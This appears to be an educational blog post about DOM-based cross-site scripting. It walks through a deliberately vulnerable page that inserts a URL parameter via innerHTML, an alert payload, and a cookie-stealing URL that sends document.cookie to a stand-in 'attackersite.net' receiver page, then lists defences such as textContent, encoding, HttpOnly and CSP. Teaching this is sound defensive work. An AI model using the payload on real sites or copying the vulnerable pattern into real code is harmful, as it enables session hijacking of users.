![]() |
One of the most widespread and dangerous vulnerabilities in web development is code injection, or the ability for a malicious user to insert and execute arbitrary code within a web page.
Let's see a practical example of how a site written with insecure code can allow an attacker to steal session cookies.
The vulnerable page: test.html
Here is a simple test.html
page that simulates any site:
<html>
<head>
</head>
<body>
<p>
Hello,<br>
<br>
Query param is
<span id="queryStringParamValue"></span>
</p>
</body>
<script>
// Let's simulate a session cookie
document.cookie = "session=X123ABC890";
// Unsafe code
const urlParams = new URLSearchParams(window.location.search);
const myParam = urlParams.get('q');
document.getElementById("queryStringParamValue").innerHTML = myParam;
</script>
</html>
Harmless scenario
URL:
https://mysite.com/test.html?q=hello
Result:
The result will be as expected, i.e., the word "hello" will be added to the page.
Hello,
Query param is hello
Expected behavior |
📌 Code execution flow diagram:
![]() |
First step: code injection
With this URL:
https://mysite.com/test.html?q=<iframe src=javascript:alert('hello')>
the q
parameter is no longer just text: it is interpreted as code and generates an alert('hello')
popup.
![]() |
Simple code injection |
📌 Code execution flow diagram:
![]() |
The Real Attack: Cookie Theft
Malicious URL:
https://mysite.com/test.html?q=<iframe src=javascript:window.location='https://attackersite.net/thief.html?c='+document.cookie>
In this case, the browser is redirected to an attacker's site and sends session cookies:
![]() |
Stolen cookies 😒 |
📌 Cookie theft diagram:
![]() |
The attacker's page (thief.html
) displays or saves cookies (in this simple example):
<script>
const urlParams = new URLSearchParams(window.location.search);
const cookieParam = urlParams.get('c');
document.write(cookieParam);
</script>
This way, the attacker can steal the victim's cookies and impersonate them on the vulnerable site.
How to protect yourself
Here are some defenses:
- Do not use
innerHTML
with untrusted input
textContent
is better:
This way, the parameter is displayed as plain text, not as executable code.document.getElementById("queryStringParamValue").textContent = myParam;
- Sanitize the data
Encode special characters (<, >, ", ') before inserting them into the HTML. - Set cookies with the
HttpOnly
flag. This prevents them from being read by JavaScript. - Content Security Policy (CSP)
Limits the execution of unauthorized scripts and reduces the attack surface.
Conclusion
A small mistake—using innerHTML
with uncontrolled input—can open the way to serious vulnerabilities, such as session cookie theft.
Never trust user input: It should always be validated, filtered, and displayed securely.
Follow me #techelopment
Official site: www.techelopment.it
facebook: Techelopment
instagram: @techelopment
X: techelopment
Bluesky: @techelopment
telegram: @techelopment_channel
whatsapp: Techelopment
youtube: @techelopment